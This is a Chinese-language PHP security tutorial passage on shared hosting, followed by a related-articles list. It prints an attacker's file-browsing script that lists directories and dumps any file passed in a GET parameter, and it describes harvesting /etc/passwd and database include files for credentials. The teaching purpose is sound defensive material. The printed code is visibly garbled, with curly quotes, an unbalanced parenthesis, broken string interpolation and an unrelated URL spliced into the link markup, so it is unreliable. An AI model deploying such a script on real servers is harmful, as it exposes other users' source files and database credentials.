PHP安全-文件系統(tǒng)瀏覽
除了能在共享服務(wù)器上讀取任意文件之外,攻擊者還能建立一個(gè)可以瀏覽文件系統(tǒng)的腳本。由于你的大多數(shù)敏感文件不會(huì)保存在網(wǎng)站主目錄下,此類腳本一般用于找到你的源文件的所在位置。請(qǐng)看下例:
<pre>
<?php
if (isset($_GET[’dir’]))
{
ls($_GET[’dir’]);
}
elseif (isset($_GET[’file’]))
{
cat($_GET[’file’]);
}
else
{
ls(’/’);
}
function cat($file)
{
echo htmlentities(file_get_contents($file), ENT_QUOTES, ’UTF-8’));
}
function ls($dir)
{
$handle = dir($dir);
while ($filename = $handle->read())
{
$size = filesize('$dir$filename');
if (is_dir('$dir$filename'))
{
$type = ’dir’;
$filename .= ’/’;
}
else
{
$type = ’file’;
}
if (is_readable('$dir$filename'))
{
$line = str_pad($size, 15);
$line .= '<a href='http://www.4tl426be.cn/bcjs/{$_SERVER[’PHP_SELF’]}';
$line .= '?$type=$dir$filename'>$filename</a>';
}
else
{
$line = str_pad($size, 15);
$line .= $filename;
}
echo '$linen';
}
$handle->close();
}
?>
</pre>
攻擊者可能會(huì)首先察看/etc/passwd文件或/home目錄以取得該服務(wù)器上的用戶名清單;可以通過語(yǔ)言的結(jié)構(gòu)如include或require來(lái)發(fā)現(xiàn)保存在網(wǎng)站主目錄以外的源文件所在位置。例如,考慮一下下面的腳本文件/home/victim/public_html/admin.php:
<?php
include ’../inc/db.inc’;
/* ... */
?>
如果攻擊者設(shè)法顯示了該文件的源碼,就可以發(fā)現(xiàn)db.inc的所在位置,同時(shí)他可以使用readfile()函數(shù)來(lái)使其內(nèi)容暴露,取得了數(shù)據(jù)庫(kù)的訪問權(quán)限。這樣,在這個(gè)環(huán)境中保存db.inc于網(wǎng)站主目錄之外的做法并未起到保護(hù)作用。
這一攻擊說明了為什么要把共享服務(wù)器上的所有源文件看成是公開的,并要選擇數(shù)據(jù)庫(kù)實(shí)現(xiàn)所有敏感數(shù)據(jù)的保存。
相關(guān)文章:
1. 利用單元測(cè)試對(duì)PHP代碼進(jìn)行檢查2. python如何實(shí)現(xiàn)word批量轉(zhuǎn)HTML3. python excel和yaml文件的讀取封裝4. python3實(shí)現(xiàn)往mysql中插入datetime類型的數(shù)據(jù)5. moment轉(zhuǎn)化時(shí)間戳出現(xiàn)Invalid Date的問題及解決6. Java8內(nèi)存模型PermGen Metaspace實(shí)例解析7. python爬蟲實(shí)戰(zhàn)之制作屬于自己的一個(gè)IP代理模塊8. 如何對(duì)php程序中的常見漏洞進(jìn)行攻擊9. Python實(shí)現(xiàn)http接口自動(dòng)化測(cè)試的示例代碼10. 利用python 下載bilibili視頻
